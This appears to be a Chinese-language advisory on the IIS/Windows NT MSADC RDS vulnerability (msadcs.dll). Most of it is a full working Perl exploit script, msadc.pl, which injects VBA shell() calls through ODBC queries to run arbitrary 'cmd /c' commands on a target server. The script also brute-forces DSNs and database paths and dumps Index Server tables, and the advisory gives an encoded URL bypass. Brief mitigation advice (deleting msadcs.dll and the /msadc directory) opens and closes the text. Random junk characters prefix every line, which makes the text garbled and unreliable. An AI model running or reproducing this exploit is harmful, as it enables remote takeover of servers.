IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
C?|sQcCE Tg^8a,Lt 涉及程序：
) ' xyK Microsoft NT server
?>+uO0*S ug]2wftlQ 描述：
-dovk?'Gj
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
LhAN ( [ p1'q{E+o* 详细：
$?F_Qsy{d 如果你没有时间读详细内容的话，就删除:
} `L;. 9 c:\Program Files\Common Files\System\Msadc\msadcs.dll
C+/EPPi 有关的安全问题就没有了。
Lz1KDXr`)+ +}m`$B}mJ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
z/91v#}. g R!hN.I 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
-F/)-s6#!' 关于利用ODBC远程漏洞的描述，请参看:
'ij+MU 1 nN& dtjoF http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm p8 S~`fjV x9F * $G 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Mc c%&j http://www.microsoft.com/security/bulletins/MS99-025faq.asp dXDyY #!_4Z X 这里不再论述。
f=91
Z_M F7<M{h 5s 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
)F hbN@3 $z OV*O2 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
p zRV X8 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
d1#lC *.Sg Wg % ] Pm P&Qje7 #将下面这段保存为txt文件，然后: "perl -x 文件名"
z@UH[>^gj JVg}XwR #!perl
c*#$sZ@YA #
i+S%e ,U* # MSADC/RDS 'usage' (aka exploit) script
6DHZ,gWq #
J,v 024TM # by rain.forest.puppy
v 3[ZPc;; #
4%}iKoT
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
?4%#myO3a # beta test and find errors!
5n>zJ
~ EQoK\.;
G~ use Socket; use Getopt::Std;
rk %p A-P2 getopts("e:vd:h:XR", \%args);
_H U>T PM@_ZJ 'x print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
%d:cC:` }qGd*k0F0 if (!defined $args{h} && !defined $args{R}) {
M%jR`qVFg. print qq~
O\q6T7bfRW Usage: msadc.pl -h <host> { -d <delay> -X -v }
qCVb -f -h <host> = host you want to scan (ip or domain)
]hlQU%& -d <seconds> = delay between calls, default 1 second
k3LHLJZ# -X = dump Index Server path table, if available
VSO(DCr"L -v = verbose
Rex 86!TO -e = external dictionary file for step 5
UH &1QV F'wG % Or a -R will resume a command session
LTx,oa:ma "&qAV'U ~; exit;}
Z[ !kEW L5:1dF $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
`E;xI v| if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
;<o?J M if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
q+qF;7 dN@ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
k N* I_# $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
f^}n# if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
LCXWpU j~ H9;IA> if (!defined $args{R}){ $ret = &has_msadc;
Ta3* G die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
C5KUIOg \ 0i0#Dt9 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
N:KM8PZ&~ . "cmd /c ";
cAx$W6S $in=<STDIN>; chomp $in;
y]! #$C / $command="cmd /c " . $in ;
c=-qbG0` #$ka .Pj if (defined $args{R}) {&load; exit;}
CE
(zt lV./K;\T print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
)`<&~>qp &try_btcustmr;
&D |+tu{ "J&WH~8+N print "\nStep 2: Trying to make our own DSN...";
d=\TC'd"{ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Z>/
*q2 vytO8m%U print "\nStep 3: Trying known DSNs...";
L;Yn q<x &known_dsn;
Ke[`zui@ ? .2| (!a9W print "\nStep 4: Trying known .mdbs...";
UZ-pN_!Z: &known_mdb;
3k8nWT:wT i$.! 8AV6 if (defined $args{e}){
S6JWsi4C:, print "\nStep 5: Trying dictionary of DSN names...";
+s7w@ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
nXuy&;5TL, ^IvQ dVB print "Sorry Charley...maybe next time?\n";
W}k/>V_ exit;
RP 6<#tq, y(a>Y! dgU ##############################################################################
klc$n07 %LqT>HXJ sub sendraw { # ripped and modded from whisker
sA+K?_ sleep($delay); # it's a DoS on the server! At least on mine...
%ol1WG 9 my ($pstr)=@_;
5)rN#_BKj socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
p?
w^|V die("Socket problems\n");
g%)cyri if(connect(S,pack "SnA4x8",2,80,$target)){
osO\i b_% select(S); $|=1;
PgP\v -. print $pstr; my @in=<S>;
d|gfp:Z`a select(STDOUT); close(S);
mTL` 8hv? return @in;
S s+ } else { die("Can't connect...\n"); }}
[T3%Xt'4 Jh4pY#aF ##############################################################################
xMpgXB!' W Xf[W sub make_header { # make the HTTP request
+'w6=qI my $msadc=<<EOT
mtLiS3Nk8 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
{XC[Ia6jtL User-Agent: ACTIVEDATA
%5n'+- XVj Host: $ip
Fl(j,B6Z Content-Length: $clen
W%MS,zkAE Connection: Keep-Alive
U9\w)D|+eE y\:Ma 7V ADCClientVersion:01.06
<|E*aR|M Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
ts,V+cEA .WBp!*4 --!ADM!ROX!YOUR!WORLD!
XrXW6s ;Z Content-Type: application/x-varg
z 63y8 Content-Length: $reqlen
7?vj+1; &
\C1QkI EOT
yI-EF)A@; ; $msadc=~s/\n/\r\n/g;
pUu<0a^ return $msadc;}
>I ;.q|T iJKGzHvS ##############################################################################
Nn?$}g yKz%-6cpSl sub make_req { # make the RDS request
l&Y'5k_R my ($switch, $p1, $p2)=@_;
vr6YE;Rs my $req=""; my $t1, $t2, $query, $dsn;
r& F
6ZCw z$ {[Z= if ($switch==1){ # this is the btcustmr.mdb query
u2[L^]| $query="Select * from Customers where City=" . make_shell();
g<$2#c} $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
M[u6+` $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
_ib
@<% "kVzN22 elsif ($switch==2){ # this is general make table query
|v 1*
[( $query="create table AZZ (B int, C varchar(10))";
6y^GMls I $dsn="$p1";}
{([`[7B>a< lPtML<a elsif ($switch==3){ # this is general exploit table query
m|O B_[9 $query="select * from AZZ where C=" . make_shell();
.Ep&O# $dsn="$p1";}
s+=':Gcb(C b V"t;R9 elsif ($switch==4){ # attempt to hork file info from index server
* |@386\ $query="select path from scope()";
0fqycGSmU $dsn="Provider=MSIDXS;";}
QTN'yd?WE bu08`P9 elsif ($switch==5){ # bad query
VZ
7(6?W $query="select";
`'pAiu $dsn="$p1";}
-]n%+,3L
uZI7,t -7 $t1= make_unicode($query);
{&6 i$4T $t2= make_unicode($dsn);
i;29*" $req = "\x02\x00\x03\x00";
ekmWYQ
~ $req.= "\x08\x00" . pack ("S1", length($t1));
!?|xeQ} $req.= "\x00\x00" . $t1 ;
@ Q;s[Kg{! $req.= "\x08\x00" . pack ("S1", length($t2));
m4'jTC$ $req.= "\x00\x00" . $t2 ;
jmP; (j.| $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
8f65 ;lyN return $req;}
iHvWJ<"jR -_O j iQ R ##############################################################################
,^DP +B&+FGfNU sub make_shell { # this makes the shell() statement
Oi-%6&}J return "'|shell(\"$command\")|'";}
{.y_{yWo M9Nr/jE ##############################################################################
$3%+N|L
de TD|R sub make_unicode { # quick little function to convert to unicode
3iL\<^d*ht my ($in)=@_; my $out;
x]3[0K5; for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
P|C 5k5 return $out;}
.;l`VWP rI6+St ##############################################################################
- leYR`P kJNwA8 7 sub rdo_success { # checks for RDO return success (this is kludge)
,*? [Rg0]+ my (@in) = @_; my $base=content_start(@in);
$ \o)-3 if($in[$base]=~/multipart\/mixed/){
m^,VEV > return 1 if( $in[$base+10]=~/^\x09\x00/ );}
w~Vqg:'\$ return 0;}
k_Y7<z0G @g]EY& Uzl ##############################################################################
y O* 9QL%q;
# sub make_dsn { # this makes a DSN for us
GS}Jy U my @drives=("c","d","e","f");
-~X[j2 print "\nMaking DSN: ";
fc[_ ~I' foreach $drive (@drives) {
1uB$@a\ print "$drive: ";
(XY`1|])` my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
x($Djx "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
ED>a'y$ f . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Gzg3{fXl $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
NSH4 @x return 0 if $2 eq "404"; # not found/doesn't exist
* -{|m1P if($2 eq "200") {
>mG64N foreach $line (@results) {
ARs]qUY return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
AYpvGl ' } return 0;}
TY'61xWi _mwt{D2r} ##############################################################################
~!cxRd5;F %qTIT?6 ' sub verify_exists {
1xkrh qq my ($page)=@_;
0z4M/WrNt my @results=sendraw("GET $page HTTP/1.0\n\n");
siT`O
z|, return $results[0];}
jIVD i~Ld w*;"@2y;eY ##############################################################################
JY^i &g1\0t sub try_btcustmr {
e?*Teb ?R my @drives=("c","d","e","f");
HXztEEK6 my @dirs=("winnt","winnt35","winnt351","win","windows");
x{tlC}t V*@Y9G foreach $dir (@dirs) {
B&0 W P5OF print "$dir -> "; # fun status so you can see progress
bovAFdHW foreach $drive (@drives) {
$CX3P)%
` print "$drive: "; # ditto
QG2 Zh9R $reqlen=length( make_req(1,$drive,$dir) ) - 28;
T# *H $reqlenlen=length( "$reqlen" );
BenyA:W" $clen= 206 + $reqlenlen + $reqlen;
j0V/\Ep)T< s(J >y d= my @results=sendraw(make_header() . make_req(1,$drive,$dir));
7')W+`o8eL if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
8N?D1; F ; else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
:."oWqb) x\f~Gtt7Y ##############################################################################
'[%#70* vv{+p(~**O sub odbc_error {
j%^4
1 y my (@in)=@_; my $base;
# 8yo9g6 my $base = content_start(@in);
f.+1Ubq!5 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
hh&$xlO)(v $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Lhe& $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;l
ZKgi8` $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
" Qi R return $in[$base+4].$in[$base+5].$in[$base+6];}
4OpzGZ4+ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
{\P%J:s#9 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
&tvp)B?cWk $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
ck5cO-1>6 /lu|FWbEw ##############################################################################
7bihP@I ! vc&+qI +I3 sub verbose {
f17E2^(I(} my ($in)=@_;
} $'_%, return if !$verbose;
"wTCO 1 print STDOUT "\n$in\n";}
`Hlf.>b1 e5P9P%1w ##############################################################################
J ~3m7 Y%;X7VxU* sub save {
KvPCb%!ZP my ($p1, $p2, $p3, $p4)=@_;
c {%mi open(OUT, ">rds.save") || print "Problem saving parameters...\n";
}6/M5zF3 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
ZL\^J8PRK close OUT;}
Kw" y# Ys] X )tH23 ##############################################################################
,}gJY^X+ C8>
i{XOO, sub load {
cK u[ 4D{ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
5P"R'/[PA_ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
$DIy ?kZ @p=<IN>; close(IN);
Hy&Z0W'l $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Vb\g49\o/ $target= inet_aton($ip) || die("inet_aton problems");
OB$Jv<C@ print "Resuming to $ip ...";
4oiE@y&{4 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
&um++
\ if($p[1]==1) {
"T5oUy&i $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
9$ ;5J $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
AG=PbY9 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
{L%J DJ if (rdo_success(@results)){print "Success!\n";}
fI<LxU_n: else { print "failed\n"; verbose(odbc_error(@results));}}
YYYF a elsif ($p[1]==3){
&zX W if(run_query("$p[3]")){
EHm* ~Sd print "Success!\n";} else { print "failed\n"; }}
hQm=9gS elsif ($p[1]==4){
`v``}8tm if(run_query($drvst . "$p[3]")){
`y.4FA4"8 print "Success!\n"; } else { print "failed\n"; }}
?%hd3zc+f exit;}
WF~BCP$OR B?=R= p ##############################################################################
!~~KM?g s_IFl5D] sub create_table {
&|GH @^) @ my ($in)=@_;
y
2>
93m
$reqlen=length( make_req(2,$in,"") ) - 28;
A'z]?xQR $reqlenlen=length( "$reqlen" );
[+dCA $clen= 206 + $reqlenlen + $reqlen;
y1%OH#:duD my @results=sendraw(make_header() . make_req(2,$in,""));
Uq#2~0n> return 1 if rdo_success(@results);
~&D
=;M/ my $temp= odbc_error(@results); verbose($temp);
M*gvYo return 1 if $temp=~/Table 'AZZ' already exists/;
{] ]%0!n\ return 0;}
rCDt9o> /g{*px| ##############################################################################
20|_wAA5 =f!A o:Uc sub known_dsn {
K
$- * # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
63=&??4 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
N'ER!=l ) "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
^7aqe*|vm "banner", "banners", "ads", "ADCDemo", "ADCTest");
z.-yL,Rc`- 7wh4~ foreach $dSn (@dsns) {
t"GnmeH
i print ".";
oLKliA=q next if (!is_access("DSN=$dSn"));
$5 mGYF] if(create_table("DSN=$dSn")){
SED52$zA print "$dSn successful\n";
N)g _LL>^ if(run_query("DSN=$dSn")){
lz#.f,h print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
q@bye4Ry%W print "Something's borked. Use verbose next time\n";}}} print "\n";}
uE')<fVX( NgyEy n
\ ##############################################################################
;O`f+rG~ ';FJs&=I sub is_access {
1*hE bO my ($in)=@_;
j;`Q82V\ $reqlen=length( make_req(5,$in,"") ) - 28;
S}JOS}\^j $reqlenlen=length( "$reqlen" );
TS6xF? $clen= 206 + $reqlenlen + $reqlen;
m)p|NdTZc8 my @results=sendraw(make_header() . make_req(5,$in,""));
2.%)OC!q&5 my $temp= odbc_error(@results);
-fA =&$V verbose($temp); return 1 if ($temp=~/Microsoft Access/);
90W= v* return 0;}
K^fs #7 6}E>B{Y ##############################################################################
. yy*[56X =fRS UtX sub run_query {
,:(s=J N+ my ($in)=@_;
{UP[iw$~ $reqlen=length( make_req(3,$in,"") ) - 28;
d9S/_iCI $reqlenlen=length( "$reqlen" );
(7G4 v $clen= 206 + $reqlenlen + $reqlen;
A| f6H6UUx my @results=sendraw(make_header() . make_req(3,$in,""));
m* _X PY return 1 if rdo_success(@results);
b:F;6X0~Hl my $temp= odbc_error(@results); verbose($temp);
)^o. H~Pv return 0;}
GO"|^W 3Y38l P:>h ##############################################################################
B= d< L^ uG7]s]Wdz; sub known_mdb {
9$HKP9G my @drives=("c","d","e","f","g");
B3ItZojAuw my @dirs=("winnt","winnt35","winnt351","win","windows");
>(a35 b$ my $dir, $drive, $mdb;
akyMW7'3V< my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
ASbI c"S6 _rYW|*cIF # this is sparse, because I don't know of many
$}W T"K my @sysmdbs=( "\\catroot\\icatalog.mdb",
J;_4
3eS "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
-yqgs>R( d "\\system32\\certmdb.mdb",
$XQgat@&] "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
O
ixqou zG_n x3 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
O +o)z6( "\\cfusion\\cfapps\\forums\\forums_.mdb",
F@Sk=l( "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
jyIIE7.I" "\\cfusion\\cfapps\\security\\realm_.mdb",
{`SMxDevc} "\\cfusion\\cfapps\\security\\data\\realm.mdb",
N[W#wYbH "\\cfusion\\database\\cfexamples.mdb",
!rRBy3& "\\cfusion\\database\\cfsnippets.mdb",
_:9}RT? "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
XF(D %ygeC "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
;VKWY "\\cfusion\\brighttiger\\database\\cleam.mdb",
[Kc ?<3 W "\\cfusion\\database\\smpolicy.mdb",
(y]Z *p:EW "\\cfusion\\database\cypress.mdb",
s_y8+BJaV "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
htbE
Q NW "\\website\\cgi-win\\dbsample.mdb",
MBt\"b# t "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
As46:< !2 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
eX#.Zt] ); #these are just
Ext C\(X; foreach $drive (@drives) {
f9K7^qwkiz foreach $dir (@dirs){
Q O =5Q foreach $mdb (@sysmdbs) {
?:$
q~[LY print ".";
q{&c?l*2 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
~o _JZ: print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
g PCf+>X{ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
,1~zYL?
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
QtnNc!,n } else { print "Something's borked. Use verbose next time\n"; }}}}}
BmV `<Q, .4v?/t1 foreach $drive (@drives) {
23r(4 foreach $mdb (@mdbs) {
]#G s6CsT| print ".";
qj~=qV0p if(create_table($drv . $drive . $dir . $mdb)){
v ) O0i2 print "\n" . $drive . $dir . $mdb . " successful\n";
7k* if(run_query($drv . $drive . $dir . $mdb)){
y\_ +,G0 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
rEWJ3*Hb } else { print "Something's borked. Use verbose next time\n"; }}}}
lkT :e) w }
;&=jSgr8 ~!Sd|e:4 ##############################################################################
ftRFG U3&GRY|## sub hork_idx {
|c0^7vrC print "\nAttempting to dump Index Server tables...\n";
>niv >+!N print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
sf2%WPK
$reqlen=length( make_req(4,"","") ) - 28;
By@65KmR" $reqlenlen=length( "$reqlen" );
zp8x/,gwF $clen= 206 + $reqlenlen + $reqlen;
} o:LwxNO my @results=sendraw2(make_header() . make_req(4,"",""));
Mbxl{M
> if (rdo_success(@results)){
mQ`atFz:Z my $max=@results; my $c; my %d;
$[A^8 [// for($c=19; $c<$max; $c++){
4k^P1 $results[$c]=~s/\x00//g;
vNjc $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
`_cv& "K9f $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
w ? _8OJ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
L~PiDQr?r $d{"$1$2"}="";}
z` 6$ p1U foreach $c (keys %d){ print "$c\n"; }
:N<Qk } else {print "Index server doesn't seem to be installed.\n"; }}
~v(c9I) X(/fE?%; ##############################################################################
6V$ )ym*F nmiJ2edx sub dsn_dict {
.pPuBJL]< open(IN, "<$args{e}") || die("Can't open external dictionary\n");
3?j: M]fR while(<IN>){
z&H.fs L $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
!IR
cv
a next if (!is_access("DSN=$dSn"));
#+D][LH4 if(create_table("DSN=$dSn")){
2
)o2d^^ print "$dSn successful\n";
wA $? e} if(run_query("DSN=$dSn")){
r4P%.YO+X print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
kAp#6->(q print "Something's borked. Use verbose next time\n";}}}
.b_ppieNY print "\n"; close(IN);}
Ry}4M Eq] :2xGfy?? ##############################################################################
BTwc(oL S8AbLl9G@> sub sendraw2 { # ripped and modded from whisker
6rbR0dSgx sleep($delay); # it's a DoS on the server! At least on mine...
T +T)~!{% my ($pstr)=@_;
5rL x
b socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
]* zG*.C die("Socket problems\n");
F_:W u,dUZ if(connect(S,pack "SnA4x8",2,80,$target)){
90uXJyW;d print "Connected. Getting data";
Sydl[c pH$ open(OUT,">raw.out"); my @in;
E8av/O
VUd select(S); $|=1; print $pstr;
Q0"?TSY while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
<m \Y$Wv close(OUT); select(STDOUT); close(S); return @in;
JJ1>)S}X- } else { die("Can't connect...\n"); }}
` =pA;R9 JZ`u?ZaJ/s ##############################################################################
to).PI? sHPAr}14 sub content_start { # this will take in the server headers
1d+Kn Jy my (@in)=@_; my $c;
F^{31iU~CX for ($c=1;$c<500;$c++) {
b0' } BMJ if($in[$c] =~/^\x0d\x0a/){
}=f\WWJf 0 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
8Ys)q x>7' else { return $c+1; }}}
Qa/1*Mb return -1;} # it should never get here actually
KsIHJr7- :j~4mb ?$ ##############################################################################
. 0yBI=QI 8aHE=x/TL sub funky {
>!Y#2]@}o my (@in)=@_; my $error=odbc_error(@in);
*VXx\& if($error=~/ADO could not find the specified provider/){
*>?N>f" print "\nServer returned an ADO miscofiguration message\nAborting.\n";
PdVY tK% exit;}
Q'jGNWep if($error=~/A Handler is required/){
6H2Bf*i print "\nServer has custom handler filters (they most likely are patched)\n";
|8{ k,!P'K exit;}
fk15O_#3 if($error=~/specified Handler has denied Access/){
D"$ 97 print "\nServer has custom handler filters (they most likely are patched)\n";
CB9 :53zK9 exit;}}
TT9
\m=7 whe% o ##############################################################################
4E=QO!pVv RL ex#j sub has_msadc {
o_=4Ex
" my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
?A\ +s,9 my $base=content_start(@results);
61QA<W b return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
=?4[:#Rh return 0;}
LtwfL^ # oR`rs[Kj ########################
|1 H9,:*% 8(-
29 /+B6oE>8 解决方案：
H(Wiy@cJn 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
416}# Mk 2、移除web 目录: /msadc
